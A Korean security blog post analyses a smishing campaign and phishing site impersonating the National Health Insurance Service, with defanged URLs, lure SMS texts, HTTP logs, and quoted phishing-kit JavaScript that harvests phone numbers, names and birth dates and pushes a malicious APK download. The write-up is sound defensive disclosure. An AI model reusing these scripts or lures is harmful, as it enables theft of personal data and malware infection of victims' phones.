꿈을꾸는 파랑새

오늘은 국민건강보험 공단 피싱 사이트 인 sa1(.)f6pt(.)hair 에 대해 글을 적어 보겠습니다.
일단 예전에는 윈도우 환경에서 들어오면 해당 사이트를 국민건강보험으로 넘겨지고 사파리 부분도 장사는 안 하는지 애플 스마트폰 사용자(iOS)에 대해서도 영업을 안 하는 것 같습니다.
한마디로 오직 안드로이드 스마트폰을 사용하는 분들을 공격하기 위해서 만들어진 것 같습니다.
예전에는 KMI 한국의학연구소로 넘겨 버렸는데 이제는 진짜 국민건강보험공단으로 날려 버립니다.

https://www.nhis(.)or.kr

왼쪽 국민건강보험 피싱 사이트 오른쪽 진짜 국민건강보험 사이트
왼쪽 국민건강보험 피싱 사이트 오른쪽 진짜 국민건강보험 사이트

일단 피싱 사이트 인증서는 다음과 같습니다.
Google Trust Services LLC
진짜 국민건강보험공단 인증서는 다음과 같습니다.

왼쪽 피싱 사이트 인증서 정보 오른쪽 진짜 국민건강보험 인증서 정보
왼쪽 피싱 사이트 인증서 정보 오른쪽 진짜 국민건강보험 인증서 정보

DigiCert Inc
이며 정확하게 법인구가, 법인 시도,법인 구,군,시,사업 분야, 일련번호, 국가,국민건강보험공단 주소 그리고 조직이 정확하게 National Health Insurance Service 으로 표시가 된 것을 확인할 수가 있습니다.
먼저 해당 유포 방식을 다음과 같은 문자로 무작위로 유포하고 있습니다.

[Web발신] [국민건강보험] 건강검사 통지서 발송완료. 상세보기
https://g04.g6mf(.)hair
[Web발신][국민건강보험]건강검사 통지서 발송완료.상세보기
https://a17.s8pn(.)hair 
[Web발신][국민건강보험]건강검사 통지서 발송완료.상세보기
https://cal4.uOmn(.)hair
[Web발신][국민건강보험]건강검사 통지서 발송완료․상세보기
https://a17.s8pn(.)hair
[Web발신][국민건강보험]건강검사 통지서 발송완료․상세보기
https://ca14.uOmn(.)hair
[Web발신][국민건강보험]건강검사 통지서 발송완료.상세보기
https://cs2.vlym(.)hair
[Web발신][국민건강보험]건강검사 통지서 발송완료.상세보기
https://d11.r7ns(.)hair
[Web발신][국민건강보험]건강검사 통지서 발송완료.상세보기
https://g01.96mf(.)hair
[Web발신][국민건강보험]고객님건강검사 통지서 발송완료․상세보기
https://a08.h8pd(.)hair
[Web발신][국민건강보험]고객님건강검사 통지서 발송완료.상세보기
https://in04.n3tz(.)hair
[Web발신][국민건강보험]고객님건강검사 통지서 발송완료.상세보기
https://x08.g7rs(.)hair

입니다.
유포 사이트를 다시 정리하면 다음과 같습니다.

https://g04.g6mf(.)hair
https://a17.s8pn(.)hair 
https://cal4.uOmn(.)hair
https://a17.s8pn(.)hair
https://ca14.uOmn(.)hair
https://cs2.vlym(.)hair
https://d11.r7ns(.)hair
https://g01.96mf(.)hair
https://a08.h8pd(.)hair
https://x08.g7rs(.)hair

지난 시간에 소개한 것과 같습니다.
예전에는 웹에 php를 따로 두어서 코드를 확인할 수가 있었지만, 지금은 코드를 확인할 수가 없었으며 cloudflare 쪽을 이용하는 것 같습니다. 지난 시간에 국민연금공단 피싱 사이트 하고 비교하면 무엇인가 다르게 변한 것을 볼 수가 있습니다.
해당 코드는 다음과 같습니다.

전화번호 관련 코드
전화번호 관련 코드

지난 시간에 소개한 것과 같습니다.
예전에는 웹에 php를 따로 두어서 코드를 확인할 수가 있었지만, 지금은 코드를 확인할 수가 없었으며 cloudflare 쪽을 이용하는 것 같습니다. 지난 시간에 국민연금공단 피싱 사이트 하고 비교하면 무엇인가 다르게 변한 것을 볼 수가 있습니다.
해당 코드는 다음과 같습니다.
HTTP/1.1 302 Found
Date: Mon, 14 Aug 2023 03:49:40 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/7.2.20
Location: https://www.nhis(.)or(.)kr 
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare(.)com\/report\/v3?s=wJYeU4xsULchcbhku3%2FD%2BLGrJmBIMVztBkEluaLmjO83zFwwGrot6W9KwrbDOFBmx%2BGTUY4LeQ83Drbvs6G%2BSFhVo11W39u5lsvE7rx8LDRvNdQ%2FuM2YIivwhxuZ32hn"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 7f663aabcbb9352c-ICN
alt-svc: h3=":443"; ma=86400
Transfer-Encoding: chunked
해당 부분 설명은 다음과 같습니다.

[소프트웨어 팁/보안 및 분석] - 국민건강보험 공단 피싱 사이트-sa1(.)f6pt(.)hair(2023.08.12)

 

국민건강보험 공단 피싱 사이트-sa1(.)f6pt(.)hair(2023.08.12)

오늘은 국민건강보험 공단 피싱 사이트 인 sa1(.)f6pt(.)hair 에 대해 글을 적어 보겠습니다. 일단 예전에는 윈도우 환경에서 들어오면 해당 사이트를 국민건강보험으로 넘겨지고 사파리 부분도 장

wezard4u.tistory.com


HTTP/1.1 302 Found: 웹 서버에서 전달된 HTTP 프로토콜 버전과 상태 코드 여기서 302 Found는 리디렉션
Content-Type: 응답 본문의 미디어 유형과 문자 인코딩을 나타냄
Connection:현재 연결을 유지할 것인지 아니면 닫을 것인지를 나타냄
X-Powered-By: 서버가 어떤 기술로 동작하는지를 나타내며 여기서는 PHP/7.2.20을 사용함
Location:리디렉션할 URL을 나타내며 여기서는 https://www.nhis.or(.)kr 로 리디렉션 합니다.
CF-Cache-Status:Cloudflare 캐시 상태를 나타냄
Report-To: 보고할 데이터 수집 지점을 정의하는 JSON 형식의 데이터
NEL:네트워크 에러 로깅에 대한 정보를 나타냄
Server:사용 중인 서버 소프트웨어를 나타냅니다. 여기서는 Cloudflare를 사용함을 나타냄
CF-RAY:Cloudflare 서버에서 요청을 처리한 시간과 관련된 정보
alt-svc:대체 서비스
Transfer-Encoding:응답 본문의 전송 인코딩 방식을 나타냄

전화번호 관련 코드 는 다음과 같습니다.
<script type="text/javascript">
function next_page() {
var info1 = $("#info1").val();
var info2 = $("#info2").val();
var info3 = $("#info3").val();
if(info1 == "" || info2 == "" || info3 == "") {
alert("핸드폰 번호를 입력하시고 건강검진서를 확인해주세요");
return;
}
$.LoadingOverlay("show", {
background       : "rgba(0, 0, 0, 0.5)",
// image            : "images/loading.gif",
maxSize          : 60,
// fontawesome      : "fa fa-spinner fa-cog fa-spin",
// fontawesomeColor : "#FFFFFF",
});
var phone_num = info1 + info2 + info3;
$.ajax({
type: "POST",
url: `xinde/check_phonenum.php`,
dataType: 'json',
data: { "phone_num": phone_num, "hostname": window.location.hostname },
success: function(resp) {
if(resp.success) {
sessionStorage.setItem("page", 1);
sessionStorage.setItem("id", resp.id);
location.href='sub01.php';
} else {
alert(resp.message);
}
},
error: function() {
},
complete: function() {
$.LoadingOverlay("hide");
}
});
}

$(document).ready(function() {
$("#info2").on('input',function(e) {
if($("#info2").val().length == 4)
$("#info3").focus();
});
});
</script>

이름 생년월일 개인정보 수집
이름 생년월일 개인정보 수집

이걸 설명하면 다음과 같습니다.
해당 JavaScript 코드는 웹 페이지에서 사용되는 스크립트로 입력한 핸드폰 번호를 처리하고 페이지를 리디렉션하는 역할 
next_page() 함수: 해당 함수는 다음 페이지로 이동하는 로직을 담당
사용자가 핸드폰 번호를 입력하고 확인 버튼을 클릭하면 실행되며 입력된 핸드폰 번호와 함께 AJAX 요청을 통해 서버에 데이터를 전송하고 서버의 응답에 따라 페이지 리디렉션을 수행
핸드폰 번호 유효성 검사: 사용자가 핸드폰 번호를 입력하지 않았으면 경고창을 띄우고 빈칸인 경우 페이지 이동을 막습니다.
$.LoadingOverlay():화면에 로딩 오버레이를 표시하는 기능을 수행 로딩 중임을 시각적으로 알려주는 역할을 합니다.
AJAX 요청: 입력한 핸드폰 번호를 서버에 전송하여 유효성을 검사 만약 서버로부터 유효한 응답을 받으면 세션 스토리지에 정보를 저장하고 sub01(.)php 로 페이지를 이동 그렇지 않았으면 경고 메시지를 띄우게 돼 있습니다.
$(document).ready(): 페이지가 로드되면 실행 핸드폰 번호의 두 번째 입력 필드에서 길이가 4가 되면 세 번째 입력 필드로 자동으로 포커스가 이동하는 로직을 담고 있음
해당 코드는 웹 페이지에서 핸드폰 번호 입력과 서버와의 통신을 처리하며 이후 페이지 이동을 관리하는 기능을 제공하기 위해서 준비돼 있습니다.
그리고 나서 전화번호를 입력하면 다음과 같이 동작을 합니다.

https://x08.g7rs(.)hair/xinde/check_phonenum(.)php

이며 해당 내용은 다음과 같습니다.

CyberChef 유니코드 변환
CyberChef 유니코드 변환

이며 해당 내용은 다음과 같습니다.
Notice: Undefined index: hostname in C:\xampp\htdocs\xinde\check_phonenum(.)php on line 6
Notice: Undefined index: phone_num in C:\xampp\htdocs\xinde\check_phonenum(.)php on line 7
{"success":false,"message":"\uc804\ud654\ubc88\ud638\uac00 \ub9de\uc9c0
\uc54a\uc2b5\ub2c8\ub2e4."}

이며 여기서 CyberChef 를 통해서 변환을 해보면 다음과 같습니다.
\uc804\ud654\ubc88\ud638\uac00 \ub9de\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4
UTF-8 (65001):전화번호가 맞지 않습니다
여기서 만약에 작동을 하면 다음과 같은 주소로 이동합니다.

https://x08.g7rs(.)hair/sub01(.)php

그리고 해당 웹 사이트에 보면 2023년 건강검진 대상자 확인이라는 것을 확인할 수가 있으며 해당 코드들은 다음과 같습니다.

<script type="text/javascript">
var id = sessionStorage.getItem("id");
if(!id) {
	window.location.href = "/";
}
function next_page() {
	var name = $("#info1").val().trim();
	var birth = $("#info2").val().trim();
	if(name == "") {
		alert("이름을 입력해주세요");
		return;
	}
	if(birth == "") {
		alert("생년월일을 입력해주세요");
		return;
	}
	$.LoadingOverlay("show", {
		background       : "rgba(0, 0, 0, 0.5)",
		// image            : "images/loading.gif",
		maxSize          : 60,
		// fontawesome      : "fa fa-spinner fa-cog fa-spin",
		// fontawesomeColor : "#FFFFFF",
	});
	$.ajax({
		type: "POST",
		url: `xinde/update_info.php`,
		dataType: 'json',
		data: { "id": id, "name": name, "birth": birth },
		success: function(resp) {
			if(resp.success) {
				sessionStorage.setItem("page", 2);
				location.href='sub02.php';
			} else {
				alert(resp.message);
			}
		},
		error: function() {
		},
		complete: function() {
			$.LoadingOverlay("hide");
		}
	});
}
</script>

건강검진 개인정보 입력
건강검진 개인정보 입력

해당 스크립트는 웹 페이지에서 사용되고 사용자의 정보를 입력하고 업데이트하는 역할을 수행 아래에 코드를 
var id = sessionStorage.getItem("id");
if (!id) {
window.location.href = "/";
}
sessionStorage.getItem("id"):세션 스토리지에서 id 값을 가져옴
if (!id):만약 id 값이 없다면 (undefined 또는 null) 사용자를 홈페이지로 리디렉션
function next_page() {
var name = $("#info1").val().trim();
var birth = $("#info2").val().trim();
if (name == "") {
alert("이름을 입력해주세요");
return;
}
if (birth == "") {
alert("생년월일을 입력해주세요");
return;
}
$.LoadingOverlay("show", {
background: "rgba(0, 0, 0, 0.5)",
maxSize: 60,
});
$.ajax({
type: "POST",
url: `xinde/update_info.php`,
dataType: 'json',
data: { "id": id, "name": name, "birth": birth },
success: function(resp) {
if (resp.success) {
sessionStorage.setItem("page", 2);
location.href = 'sub02.php';
} else {
alert(resp.message);
}
},
error: function() {
},
complete: function() {
$.LoadingOverlay("hide");
}
});
}
next_page() 함수: 해당 함수는 다음 페이지로 이동하는 역할을 수행
var name = $("#info1").val().trim();와 var birth = $("#info2").val().trim();:이름과 생년월일을 사용자가 입력한 값에서 공백을 제거하여 가져옴
입력값 유효성 검사:만약 이름 또는 생년월일이 비어 있다면, 경고창을 띄우고 함수를 종료
$.LoadingOverlay("show", );:화면에 로딩 오버레이를 표시
AJAX 요청:사용자 정보와 id 값을 서버로 전송하고 서버의 응답을 받아 처리
성공 시 세션 스토리지에 page 값을 설정하고 sub02.php로 페이지를 이동
실패 시 경고 메시지를 띄웁니다.
complete: function() { $.LoadingOverlay("hide"); }:AJAX 요청이 완료되면 로딩 오버레이를 숨rla
해당  스크립트는 사용자 정보를 업데이트하고 페이지 이동 및 오류 처리 등을 담당

개인정보 입력시 전화 번호 전송
개인정보 입력시 전화 번호 전송

var id = sessionStorage.getItem("id");
if (!id) {
	window.location.href = "/";
}
sessionStorage.getItem("id"):세션 스토리지에서 id 값을 가져옴
if (!id):만약 id 값이 없다면 (undefined 또는 null) 사용자를 홈페이지로 리디렉션
function click_download() {
    var link = document.createElement("a");
    link.download = "국민건강보험";
    link.href = '/download/the(.)apk';
    document.body.appendChild(link);
    link.click();
    document.body.removeChild(link);
    delete link;
	$.ajax({
		type: "POST",
		url: `xinde/update_download(.)php`,
		data: { "id": id },
		success: function(resp) {
			if(resp.success) {
				sessionStorage.setItem("page", 3);
			} else {
			}
		},
		error: function() {
		}
	});
}

click_download() 함수:해당 함수는 다운로드 버튼을 클릭했을 때 실행
파일 다운로드:파일 다운로드를 위해 가상의 <a> 요소를 생성하고 설정한 속성을 부여 그 후에 해당 요소를 문서에 추가하고 클릭 유도 다운로드가 완료되면 요소를 제거
AJAX 요청: 사용자 정보를 업데이트하기 위해 서버로 데이터를 전송 요청이 성공하면 세션 스토리지의 page 값을 3으로 설정
그리고 Raw 값은 다음과 같습니다.

GET https://x08.g7rs(.)hair/sub01(.)php HTTP/1.1
Host: x08.g7rs(.)hair
User-Agent: Mozilla/5.0 (Linux; Android 11; SAMSUNG SM-S918N) AppleWebKit/537.36
(KHTML, like Gecko) SamsungBrowser/22.0.3.1 Chrome/115.0.0.0 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
image/webp,*/*;q=0.8
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Prefer: safe
DNT: 1
Connection: keep-alive
Referer: https://x08.g7rs(.)hair/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

국민건강보험 악성코드 다운로드 관련 Raw
국민건강보험 악성코드 다운로드 관련 Raw

그리고 화면에서는 어플을 다운로드 하시고 설치를 누르시면 권한 허용이 뜹니다.
두 번의 허용을 해주셔야만 설치 완료 및 내용 확인할 수가 있습니다.
전화를 걸고 관리하도록 허용하시겠습니까?
허용
SMS 메시지를 전송하고 보도록 허용하시겠습니까?
허용
다운로드 하기
여기서 다운로드 하기 버튼을 눌러주면 악성코드가 포함된 apk가 다운로드 됩니다.
그러면 다음 주 소를 통해서 악성코드를 다운로드 합니다.

https://x08.g7rs(.)hair/download/the.apk

그리고 해당 악성코드인 the.apk를 통해서 사용자가 설치하면 이제 악성코드가 작동하게 되고 당연히 이제 여러분의 스마트폰은 내 것이 아니게 됩니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band